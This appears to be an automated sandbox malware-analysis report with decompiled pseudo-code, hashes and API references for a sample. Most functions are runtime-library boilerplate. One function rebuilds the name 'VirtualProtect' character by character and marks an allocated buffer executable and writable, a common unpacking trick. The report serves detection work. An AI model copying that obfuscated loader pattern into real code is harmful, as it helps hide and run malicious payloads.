
VirtualProtect, xrefs: 00419D0F

Memory Dump Source

Source File: 00000000.00000002.670247198.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.670233468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.670286127.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670302730.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670314812.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_tijXCZsbGe.jbxd

Similarity

API ID: LibraryLoadProtectVirtual
String ID: VirtualProtect
API String ID: 3279857687-268857135
Opcode ID: 6fe4be1b29b2fff6b157878c0b56705c4bb63ddac9543f36666507c4732849c4
Instruction ID: a44d3fd7188d438d037021823585f88e8d970895fa3d624442d68c6aa49d3ab3
Opcode Fuzzy Hash: 6fe4be1b29b2fff6b157878c0b56705c4bb63ddac9543f36666507c4732849c4
Instruction Fuzzy Hash: 69211B2C54C7C0D9E302E738EE087453E969323769F1841A991D55A2B2C7FF21A8CB3E

Uniqueness

Uniqueness Score: -1.00%

Function 0041BB0F, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0041BB0F(intOrPtr __eax, void* __ecx) {
				intOrPtr _t20;
				void* _t27;

				L0:
				while(1) {
					L0:
					 *((intOrPtr*)(_t27 - 4)) = __eax;
					if( *((intOrPtr*)(_t27 - 4)) != 0) {
						break;
					}
					L3:
					if( *((intOrPtr*)(_t27 + 0xc)) != 0) {
						L5:
						if(E004295C0(__ecx,  *((intOrPtr*)(_t27 + 8))) != 0) {
							L7:
							L1:
							L0041BB60( *((intOrPtr*)(_t27 + 8)),  *((intOrPtr*)(_t27 + 0x10)),  *((intOrPtr*)(_t27 + 0x14)),  *((intOrPtr*)(_t27 + 0x18)),  *((intOrPtr*)(_t27 + 0x1c)));
							continue;
						} else {
							L6:
							 *((intOrPtr*)( *((intOrPtr*)(_t27 + 0x1c)))) = 0xc;
							_t20 = 0;
						}
					} else {
						L4:
						 *((intOrPtr*)( *((intOrPtr*)(_t27 + 0x1c)))) = 0xc;
						_t20 =  *((intOrPtr*)(_t27 - 4));
					}
					L8:
					return _t20;
					L9:
				}
				L2:
				_t20 =  *((intOrPtr*)(_t27 - 4));
				goto L8;
			}

0x0041bb0f
0x0041bb0f
0x0041bb0f
0x0041bb12
0x0041bb19
0x00000000
0x00000000
0x0041bb20
0x0041bb24
0x0041bb34
0x0041bb42
0x0041bb51
0x0041baf6
0x0041bb0a
0x00000000
0x0041bb44
0x0041bb44
0x0041bb47
0x0041bb4d
0x0041bb4d
0x0041bb26
0x0041bb26
0x0041bb29
0x0041bb2f
0x0041bb2f
0x0041bb53
0x0041bb56
0x00000000
0x0041bb56
0x0041bb1b
0x0041bb1b
0x00000000

Strings

QQ, xrefs: 0041BB09

Memory Dump Source

Source File: 00000000.00000002.670247198.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.670233468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.670286127.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670302730.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670314812.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_tijXCZsbGe.jbxd

Similarity

API ID:
String ID: QQ
API String ID: 0-3460843698
Opcode ID: 75285a33f3e3a8226227495b54544be31729fa98091c7b21b9d872baf7ad745d
Instruction ID: 9d5d11dc921d1e9f306327f6cca41198e085546b90f4a8cb0691f162ce3f8a97
Opcode Fuzzy Hash: 75285a33f3e3a8226227495b54544be31729fa98091c7b21b9d872baf7ad745d
Instruction Fuzzy Hash: 7801FBB5A09109EBDB04CF55D980BEB73B4EB48304F10815AF80A87B44D338EE91DB96

Uniqueness

Uniqueness Score: -1.00%

Function 00419D64, Relevance: 3.0, APIs: 2, Instructions: 28
librarymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 69%

			E00419D64(intOrPtr* __edx) {
				struct HINSTANCE__* _t1;
				int _t3;
				void* _t6;

				_pop(ss);
				 *__edx =  *__edx + __edx;
				 *0x441773 = 0x65; // executed
				_t1 = LoadLibraryA(??); // executed
				 *0x5447ec = _t1;
				 *0x441776 = 0;
				M0044176F = 0x50;
				M0044176D = 0x61;
				 *0x441771 = 0x6f;
				 *0x441775 = 0x74;
				M0044176C = 0x75;
				M0044176E = 0x6c;
				 *0x441774 = 0x63;
				M0044176B = 0x74;
				 *0x441772 = 0x74;
				"rtualProtect" = 0x72;
				"VirtualProtect" = 0x56;
				"rotect" = 0x72;
				"irtualProtect" = 0x69; // executed
				_t3 = VirtualProtect( *0x443950,  *0x54abf4, 0x40, _t6 + 1); // executed
				return _t3;
			}

0x00419d64
0x00419d66
0x00419d68
0x00419d6f
0x00419d75
0x00419d86
0x00419d93
0x00419d9a
0x00419da1
0x00419da8
0x00419daf
0x00419db6
0x00419dbd
0x00419dc4
0x00419dcb
0x00419dd2
0x00419dd9
0x00419de0
0x00419de7
0x00419dee
0x00419df5

APIs

LoadLibraryA.KERNELBASE(VirtualProtect), ref: 00419D6F
VirtualProtect.KERNELBASE(00000040,00000000), ref: 00419DEE

Memory Dump Source

Source File: 00000000.00000002.670247198.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.670233468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.670286127.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670302730.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670314812.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_tijXCZsbGe.jbxd

Similarity

API ID: LibraryLoadProtectVirtual
String ID:
API String ID: 3279857687-0
Opcode ID: 039c81475c453dc0bbc77765875e61eff88f73565cb5f2e1b44e8ec287fe9419
Instruction ID: 46ff8a631e59bb478556cfaaa0542c845c6034905532f1148b192b7c6e3db230
Opcode Fuzzy Hash: 039c81475c453dc0bbc77765875e61eff88f73565cb5f2e1b44e8ec287fe9419
Instruction Fuzzy Hash: 23018C2C44C3C0DDE302E778AE087413F96D727759F0841A8D1A55A2B2C7BA21A8CB2E

Uniqueness

Uniqueness Score: -1.00%

Function 00424840, Relevance: 1.5, APIs: 1, Instructions: 8
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00424840() {
				void* _t1;

				_t1 = E00424770(0); // executed
				return _t1;
			}

0x00424847
0x00424850

APIs

__encode_pointer.LIBCMTD ref: 00424847

Part of subcall function 00424770: TlsGetValue.KERNEL32(00000001), ref: 00424785
Part of subcall function 00424770: TlsGetValue.KERNEL32(00000001,00000001), ref: 004247A6
Part of subcall function 00424770: __crt_wait_module_handle.LIBCMTD ref: 004247BC
Part of subcall function 00424770: GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 004247D6
Part of subcall function 00424770: RtlEncodePointer.NTDLL(?), ref: 004247F7

Memory Dump Source

Source File: 00000000.00000002.670247198.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.670233468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.670286127.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670302730.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670314812.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_tijXCZsbGe.jbxd

Similarity

API ID: Value$AddressEncodePointerProc__crt_wait_module_handle__encode_pointer
String ID:
API String ID: 568403282-0
Opcode ID: f00befe9f6ce37f0a9e0ee05923ac5330ac6df44ba7645856ef0dc2498812e42
Instruction ID: 4143b78435299c8de493858f432a4b18849c4b96d190f712fc4d906fbf60c91c
Opcode Fuzzy Hash: f00befe9f6ce37f0a9e0ee05923ac5330ac6df44ba7645856ef0dc2498812e42
Instruction Fuzzy Hash: 4EA0126254424833D00020833803B02350C83C2639E880061F51C051422942A4104097

Uniqueness

Uniqueness Score: -1.00%

Function 0041B7B0, Relevance: 1.5, APIs: 1, Instructions: 5
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			_entry_() {
				void* _t2;
				void* _t3;
				void* _t4;
				void* _t5;

				E004287C0(); // executed
				_t2 = L0041B7D0(_t3, _t4, _t5); // executed
				return _t2;
			}

0x0041b7b5
0x0041b7ba
0x00000000

APIs

___security_init_cookie.LIBCMTD ref: 0041B7B5

Memory Dump Source

Source File: 00000000.00000002.670247198.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.670233468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.670286127.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670302730.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670314812.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_tijXCZsbGe.jbxd

Similarity

API ID: ___security_init_cookie
String ID:
API String ID: 3657697845-0
Opcode ID: 18f80a93d3ea66c6bb1169648aba910d3f5d1e1f9880f7dd4b35e84e6f3e6551
Instruction ID: 3c044930123d071197088bdd963362d409e35ecc956810653c03f618e4ffdd9f
Opcode Fuzzy Hash: 18f80a93d3ea66c6bb1169648aba910d3f5d1e1f9880f7dd4b35e84e6f3e6551
Instruction Fuzzy Hash: BBA00221105A5C16015133A7181794E754D8CD4B98BE5101FB528035439D5CA94140EE

Uniqueness

Uniqueness Score: -1.00%

Function 00419DF7, Relevance: 1.3, APIs: 1, Instructions: 5
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 37%

			E00419DF7(void* __eax) {
				void* _t3;

				_t3 = LocalAlloc(0, ??); // executed
				 *0x443950 = _t3;
				return _t3;
			}

0x00419dfe
0x00419e04
0x00419e09

APIs

LocalAlloc.KERNELBASE(00000000), ref: 00419DFE

Memory Dump Source

Source File: 00000000.00000002.670247198.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.670233468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.670286127.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670302730.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670314812.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_tijXCZsbGe.jbxd

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 3571bb372733993f9b4c96057daa876bbc03d7ea11c7f877e755b551834daa39
Instruction ID: 21ac284789e0f913026888750c1f1c21f765b9dfa4357f74692eb68b3a7f463c
Opcode Fuzzy Hash: 3571bb372733993f9b4c96057daa876bbc03d7ea11c7f877e755b551834daa39
Instruction Fuzzy Hash: 5BB011B8082382AAC3808F20AA08B803EA0F302B0BF000030B200E0AA8CBB000808A0A

Uniqueness

Uniqueness Score: -1.00%

Function 00419DF6, Relevance: 1.3, APIs: 1, Instructions: 5
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalAlloc.KERNELBASE(00000000), ref: 00419DFE

Memory Dump Source

Source File: 00000000.00000002.670247198.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.670233468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.670286127.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670302730.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670314812.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_tijXCZsbGe.jbxd

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: c5652da4b9a0751b24a4bb7e442be5ed37a4c831d8d269b5dfcf17dbb6553f87
Instruction ID: 019fb2e64a9b276ebf310d41e95adf70c6358cc02637eb6adb2296fd202f371f
Opcode Fuzzy Hash: c5652da4b9a0751b24a4bb7e442be5ed37a4c831d8d269b5dfcf17dbb6553f87
Instruction Fuzzy Hash: 12B012B94413419BC7404F60AE047403F61F306703F000020F200D0674C7700080AB05

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0042CDF2, Relevance: 109.0, APIs: 39, Strings: 23, Instructions: 501
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E0042CDF2() {
				struct _OVERLAPPED* _t166;
				WCHAR* _t170;
				signed int _t181;
				long _t184;
				intOrPtr _t190;
				signed int _t195;
				void* _t200;
				void* _t203;
				void* _t207;
				struct _OVERLAPPED* _t215;
				struct _OVERLAPPED** _t216;
				intOrPtr _t233;
				void* _t243;
				void* _t244;
				void* _t245;
				signed int _t267;
				signed int _t269;
				void* _t303;
				void* _t304;
				void* _t305;
				void* _t306;
				signed int _t307;
				void* _t309;
				void* _t311;
				void* _t313;
				void* _t315;

				if(InterlockedIncrement(0x441060) <= 0) {
					if( *((intOrPtr*)(_t307 + 0x18)) != 0) {
						 *(_t307 - 0x7038) =  *(L00423010(_t245));
						 *(L00423010(_t245)) = 0;
						_t282 =  *((intOrPtr*)(_t307 + 0x1c));
						_t233 = E00438520(_t307 - 0x7030, 0x1000, 0xfeb,  *((intOrPtr*)(_t307 + 0x18)),  *((intOrPtr*)(_t307 + 0x1c)));
						_t309 = _t309 + 0x14;
						 *((intOrPtr*)(_t307 - 0x7034)) = _t233;
						if( *((intOrPtr*)(_t307 - 0x7034)) < 0) {
							E0041DBF0( *(L00423010(_t282)), 0x16, 0x22, L"(*_errno())", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x206, 0);
							_t309 = _t309 + 0x20;
						}
						 *(L00423010(_t282)) =  *(_t307 - 0x7038);
						if( *((intOrPtr*)(_t307 - 0x7034)) < 0) {
							E0041E160(E0042DE00(_t243, _t282, _t303, _t305, _t307 - 0x7030, 0x1000, L"_CrtDbgReport: String too long or IO Error"), _t236, L"wcscpy_s(szUserMessage, 4096, L\"_CrtDbgReport: String too long or IO Error\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x209, 0);
							_t309 = _t309 + 0x24;
						}
					}
					if( *(_t307 + 8) == 2) {
						if( *((intOrPtr*)(_t307 + 0x18)) == 0) {
							 *((intOrPtr*)(_t307 - 0x8070)) = L"Assertion failed!";
						} else {
							 *((intOrPtr*)(_t307 - 0x8070)) = L"Assertion failed: ";
						}
						E0041E160(E0042DE00(_t243,  *((intOrPtr*)(_t307 - 0x8070)), _t303, _t305, _t307 - 0x5030, 0x1000,  *((intOrPtr*)(_t307 - 0x8070))), _t227, L"wcscpy_s(szLineMessage, 4096, szFormat ? L\"Assertion failed: \" : L\"Assertion failed!\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x20e, 0);
						_t309 = _t309 + 0x24;
					}
					_t246 = _t307 - 0x5030;
					E0041E160(E00437B50(_t243, _t307 - 0x5030, _t303, _t305, _t307 - 0x5030, 0x1000, _t307 - 0x7030), _t159, L"wcscat_s(szLineMessage, 4096, szUserMessage)", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x210, 0);
					_t311 = _t309 + 0x24;
					if( *(_t307 + 8) == 2) {
						if(( *(0x441064 +  *(_t307 + 8) * 4) & 0x00000001) != 0) {
							_t246 = _t307 - 0x5030;
							E0041E160(E00437B50(_t243, _t307 - 0x5030, _t303, _t305, _t307 - 0x5030, 0x1000, "\r"), _t225, L"wcscat_s(szLineMessage, 4096, L\"\\r\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x215, 0);
							_t311 = _t311 + 0x24;
						}
						E0041E160(E00437B50(_t243, _t246, _t303, _t305, _t307 - 0x5030, 0x1000, "\n"), _t223, L"wcscat_s(szLineMessage, 4096, L\"\\n\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x217, 0);
						_t311 = _t311 + 0x24;
					}
					if( *(_t307 + 0xc) == 0) {
						E0041E160(E0042DE00(_t243, _t307 - 0x3028, _t303, _t305, _t307 - 0x3028, 0x1000, _t307 - 0x5030), _t162, L"wcscpy_s(szOutMessage, 4096, szLineMessage)", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x225, 0);
						_t313 = _t311 + 0x24;
					} else {
						 *(_t307 - 0x703c) = 0;
						 *(_t307 - 0x7040) =  *(L00423010(_t246));
						 *(L00423010(_t246)) = 0;
						_push(_t307 - 0x5030);
						_push( *(_t307 + 0x10));
						_t279 = _t307 - 0x3028;
						_t215 = E0042DC10(_t307 - 0x3028, _t307 - 0x3028, 0x1000, 0x1000, L"%s(%d) : %s",  *(_t307 + 0xc));
						_t313 = _t311 + 0x1c;
						 *(_t307 - 0x703c) = _t215;
						if( *(_t307 - 0x703c) < 0) {
							E0041DBF0( *((intOrPtr*)(L00423010(_t279))), 0x16, 0x22, L"(*_errno())", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x21f, 0);
							_t313 = _t313 + 0x20;
						}
						_t216 = L00423010(_t279);
						_t280 =  *(_t307 - 0x7040);
						 *_t216 =  *(_t307 - 0x7040);
						if( *(_t307 - 0x703c) < 0) {
							E0041E160(E0042DE00(_t243, _t280, _t303, _t305, _t307 - 0x3028, 0x1000, L"_CrtDbgReport: String too long or IO Error"), _t217, L"wcscpy_s(szOutMessage, 4096, L\"_CrtDbgReport: String too long or IO Error\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x221, 0);
							_t313 = _t313 + 0x24;
						}
					}
					 *(_t307 - 0x7044) = 0;
					_t285 = _t307 - 0x3028;
					_t166 = E0041DBF0(L00437B20(0, _t307 - 0x1020, 0x1000, _t307 - 0x3028, 0xffffffff), 0x16, 0x22, L"wcstombs_s(((void *)0), szOutMessage2, 4096, szOutMessage, ((size_t)-1))", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x22b, 0);
					_t315 = _t313 + 0x34;
					 *(_t307 - 0x7044) = _t166;
					if( *(_t307 - 0x7044) != 0) {
						E0041E160(E0041DCE0(_t243, _t307 - 0x1020, _t305, _t307 - 0x1020, 0x1000, "_CrtDbgReport: String too long or Invalid characters in String"), _t209, L"strcpy_s(szOutMessage2, 4096, \"_CrtDbgReport: String too long or Invalid characters in String\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x22d, 0);
						_t315 = _t315 + 0x24;
					}
					if( *0x54b818 != 0 ||  *0x54b814 != 0) {
						 *(_t307 - 0x704c) = 0;
						 *(_t307 - 0x7048) = 0;
						L0041E4C0(0xf);
						_t315 = _t315 + 4;
						 *(_t307 - 4) = 1;
						_t285 =  *0x54b818;
						 *(_t307 - 0x704c) =  *0x54b818;
						while( *(_t307 - 0x704c) != 0) {
							 *(_t307 - 0x7050) = 0;
							_t285 =  *(_t307 - 0x704c);
							_t207 =  *(( *(_t307 - 0x704c))[6])( *(_t307 + 8), _t307 - 0x1020, _t307 - 0x7050);
							_t315 = _t315 + 0xc;
							if(_t207 == 0) {
								 *(_t307 - 0x704c) = ( *(_t307 - 0x704c))[2];
								continue;
							} else {
								 *(_t307 - 0x1024) =  *(_t307 - 0x7050);
								 *(_t307 - 0x302c) = 1;
							}
							break;
						}
						if( *(_t307 - 0x302c) == 0) {
							_t285 =  *0x54b814;
							 *(_t307 - 0x7048) =  *0x54b814;
							while( *(_t307 - 0x7048) != 0) {
								 *(_t307 - 0x7054) = 0;
								_t285 =  *(_t307 - 0x7048);
								_t203 =  *(( *(_t307 - 0x7048))[6])( *(_t307 + 8), _t307 - 0x3028, _t307 - 0x7054);
								_t315 = _t315 + 0xc;
								if(_t203 == 0) {
									 *(_t307 - 0x7048) = ( *(_t307 - 0x7048))[2];
									continue;
								} else {
									 *(_t307 - 0x1024) =  *(_t307 - 0x7054);
									 *(_t307 - 0x302c) = 1;
								}
								goto L43;
							}
						}
						L43:
						 *(_t307 - 4) = 0;
						E0042D36A();
					}
					if( *(_t307 - 0x302c) == 0) {
						if( *0x54b810 != 0) {
							 *(_t307 - 0x7058) = 0;
							_t285 = _t307 - 0x7058;
							_t200 =  *0x54b810( *(_t307 + 8), _t307 - 0x1020, _t307 - 0x7058);
							_t315 = _t315 + 0xc;
							if(_t200 != 0) {
								_t285 =  *(_t307 - 0x7058);
								 *(_t307 - 0x1024) =  *(_t307 - 0x7058);
								 *(_t307 - 0x302c) = 1;
							}
						}
						if( *(_t307 - 0x302c) == 0) {
							if(( *(0x441064 +  *(_t307 + 8) * 4) & 0x00000001) != 0) {
								_t285 =  *(_t307 + 8);
								if( *(0x441070 +  *(_t307 + 8) * 4) != 0xffffffff) {
									_t181 =  *(_t307 + 8);
									_t263 =  *(0x441070 + _t181 * 4);
									 *((intOrPtr*)(_t307 - 0x8074)) = GetFileType( *(0x441070 + _t181 * 4));
									if( *((intOrPtr*)(_t307 - 0x8074)) == 2) {
										_t184 = E0042DDD0(_t263, _t307 - 0x3028);
										_t315 = _t315 + 4;
										_t285 =  *(_t307 + 8);
										if(WriteConsoleW( *(0x441070 +  *(_t307 + 8) * 4), _t307 - 0x3028, _t184, _t307 - 0x705c, 0) == 0) {
											if(GetLastError() == 6) {
												goto L57;
											} else {
											}
										} else {
										}
									} else {
										L57:
										 *(_t307 - 0x8064) = 0;
										_t190 = E0041DBF0(L00437B20(_t307 - 0x8064, _t307 - 0x8060, 0x1000, _t307 - 0x3028, 0xffffffff), 0x16, 0x22, L"wcstombs_s(&ret, szaOutMessage, 4096, szOutMessage, ((size_t)-1))", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x27e, 0);
										_t315 = _t315 + 0x34;
										 *((intOrPtr*)(_t307 - 0x8068)) = _t190;
										if( *((intOrPtr*)(_t307 - 0x8068)) == 0 ||  *((intOrPtr*)(_t307 - 0x8068)) == 0x50) {
											if( *(_t307 - 0x8064) > 0) {
												 *(_t307 - 0x8064) =  *(_t307 - 0x8064) - 1;
											}
											_t267 =  *(_t307 + 8);
											_t285 =  *(0x441070 + _t267 * 4);
											WriteFile( *(0x441070 + _t267 * 4), _t307 - 0x8060,  *(_t307 - 0x8064), _t307 - 0x705c, 0);
										} else {
											_t195 = E0042DDD0(_t307 - 0x705c, _t307 - 0x3028);
											_t315 = _t315 + 4;
											_t269 =  *(_t307 + 8);
											_t285 =  *(0x441070 + _t269 * 4);
											WriteFile( *(0x441070 + _t269 * 4), _t307 - 0x3028, _t195 << 1, _t307 - 0x705c, 0);
										}
									}
								}
							}
							if(( *(0x441064 +  *(_t307 + 8) * 4) & 0x00000002) != 0) {
								_t285 = _t307 - 0x3028;
								OutputDebugStringW(_t307 - 0x3028);
							}
							if(( *(0x441064 +  *(_t307 + 8) * 4) & 0x00000004) != 0) {
								 *(_t307 - 0x5030) = 0;
								if( *(_t307 + 0x10) != 0) {
									E0041E160(E00438550( *(_t307 + 0x10),  *(_t307 + 0x10), _t307 - 0x5030, 0x1000, 0xa), _t179, L"_itow_s(nLine, szLineMessage, 4096, 10)", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x29c, 0);
									_t315 = _t315 + 0x28;
								}
								asm("sbb ecx, ecx");
								_t285 = _t307 - 0x5030;
								 *(_t307 - 0x1024) = E0041E590(_t243, _t307 - 0x5030, _t303, _t305,  *(_t307 + 8),  *(_t307 + 0xc),  ~( *(_t307 + 0x10)) & _t307 - 0x00005030,  *((intOrPtr*)(_t307 + 0x14)), _t307 - 0x7030);
							}
						}
					}
				} else {
					_t241 = E0041E160(E00438550(_t307 - 0x5030,  *(_t307 + 0x10), _t307 - 0x5030, 0x1000, 0xa), _t240, L"_itow_s(nLine, szLineMessage, 4096, 10)", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x1f0, 0);
					OutputDebugStringW(L"Second Chance Assertion Failed: File ");
					if( *(_t307 + 0xc) == 0) {
						 *(_t307 - 0x806c) = L"<file unknown>";
					} else {
						_t241 =  *(_t307 + 0xc);
						 *(_t307 - 0x806c) =  *(_t307 + 0xc);
					}
					OutputDebugStringW( *(_t307 - 0x806c));
					OutputDebugStringW(L", Line ");
					_t285 = _t307 - 0x5030;
					OutputDebugStringW(_t307 - 0x5030);
					OutputDebugStringW("\n");
					E0042C4C0(_t241);
					 *(_t307 - 0x1024) = 0xffffffff;
				}
				 *(_t307 - 4) = 0xfffffffe;
				E0042D5F7();
				_t170 =  *(_t307 - 0x1024);
				 *[fs:0x0] =  *((intOrPtr*)(_t307 - 0x10));
				_pop(_t304);
				_pop(_t306);
				_pop(_t244);
				return E0042BF30(_t170, _t244,  *(_t307 - 0x1c) ^ _t307, _t285, _t304, _t306);
			}

0x0042cdff
0x0042ceac
0x0042ceb9
0x0042cec4
0x0042ceca
0x0042cee3
0x0042cee8
0x0042ceeb
0x0042cef8
0x0042cf1c
0x0042cf21
0x0042cf21
0x0042cf2f
0x0042cf38
0x0042cf6a
0x0042cf6f
0x0042cf6f
0x0042cf38
0x0042cf76
0x0042cf7c
0x0042cf8a
0x0042cf7e
0x0042cf7e
0x0042cf7e
0x0042cfc6
0x0042cfcb
0x0042cfcb
0x0042cff0
0x0042d000
0x0042d005
0x0042d00c
0x0042d01b
0x0042d03d
0x0042d04d
0x0042d052
0x0042d052
0x0042d085
0x0042d08a
0x0042d08a
0x0042d091
0x0042d1a1
0x0042d1a6
0x0042d097
0x0042d097
0x0042d0a8
0x0042d0b3
0x0042d0bf
0x0042d0c3
0x0042d0d7
0x0042d0de
0x0042d0e3
0x0042d0e6
0x0042d0f3
0x0042d117
0x0042d11c
0x0042d11c
0x0042d11f
0x0042d124
0x0042d12a
0x0042d133
0x0042d165
0x0042d16a
0x0042d16a
0x0042d16d
0x0042d1a9
0x0042d1cf
0x0042d1ed
0x0042d1f2
0x0042d1f5
0x0042d202
0x0042d234
0x0042d239
0x0042d239
0x0042d243
0x0042d252
0x0042d25c
0x0042d268
0x0042d26d
0x0042d270
0x0042d277
0x0042d27d
0x0042d294
0x0042d29d
0x0042d2b9
0x0042d2c2
0x0042d2c4
0x0042d2c9
0x0042d28e
0x00000000
0x0042d2cb
0x0042d2d1
0x0042d2d7
0x0042d2d7
0x00000000
0x0042d2c9
0x0042d2ec
0x0042d2ee
0x0042d2f4
0x0042d30b
0x0042d314
0x0042d330
0x0042d339
0x0042d33b
0x0042d340
0x0042d305
0x00000000
0x0042d342
0x0042d348
0x0042d34e
0x0042d34e
0x00000000
0x0042d340
0x0042d30b
0x0042d35c
0x0042d35c
0x0042d363
0x0042d363
0x0042d37c
0x0042d389
0x0042d38b
0x0042d395
0x0042d3a7
0x0042d3ad
0x0042d3b2
0x0042d3b4
0x0042d3ba
0x0042d3c0
0x0042d3c0
0x0042d3b2
0x0042d3d1
0x0042d3e4
0x0042d3ea
0x0042d3f5
0x0042d3fb
0x0042d3fe
0x0042d40c
0x0042d419
0x0042d42d
0x0042d432
0x0042d43d
0x0042d450
0x0042d460
0x00000000
0x00000000
0x0042d462
0x00000000
0x0042d452
0x0042d41b
0x0042d467
0x0042d467
0x0042d4b0
0x0042d4b5
0x0042d4b8
0x0042d4c5
0x0042d50c
0x0042d517
0x0042d517
0x0042d534
0x0042d537
0x0042d53f
0x0042d4d0
0x0042d4e0
0x0042d4e5
0x0042d4f2
0x0042d4f5
0x0042d4fd
0x0042d4fd
0x0042d4c5
0x0042d419
0x0042d3f5
0x0042d552
0x0042d554
0x0042d55b
0x0042d55b
0x0042d56e
0x0042d572
0x0042d57d
0x0042d5b0
0x0042d5b5
0x0042d5b5
0x0042d5c8
0x0042d5ca
0x0042d5e3
0x0042d5e3
0x0042d56e
0x0042d3d1
0x0042ce05
0x0042ce36
0x0042ce43
0x0042ce4d
0x0042ce5a
0x0042ce4f
0x0042ce4f
0x0042ce52
0x0042ce52
0x0042ce6b
0x0042ce76
0x0042ce7c
0x0042ce83
0x0042ce8e
0x0042ce94
0x0042ce99
0x0042ce99
0x0042d5e9
0x0042d5f0
0x0042d609
0x0042d612
0x0042d61a
0x0042d61b
0x0042d61c
0x0042d62a

APIs

InterlockedIncrement.KERNEL32(00441060), ref: 0042CDF7
__invoke_watson_if_error.LIBCMTD ref: 0042CE36
OutputDebugStringW.KERNEL32(Second Chance Assertion Failed: File ), ref: 0042CE43
OutputDebugStringW.KERNEL32(004067C0), ref: 0042CE6B
OutputDebugStringW.KERNEL32(, Line ), ref: 0042CE76
OutputDebugStringW.KERNEL32(?), ref: 0042CE83
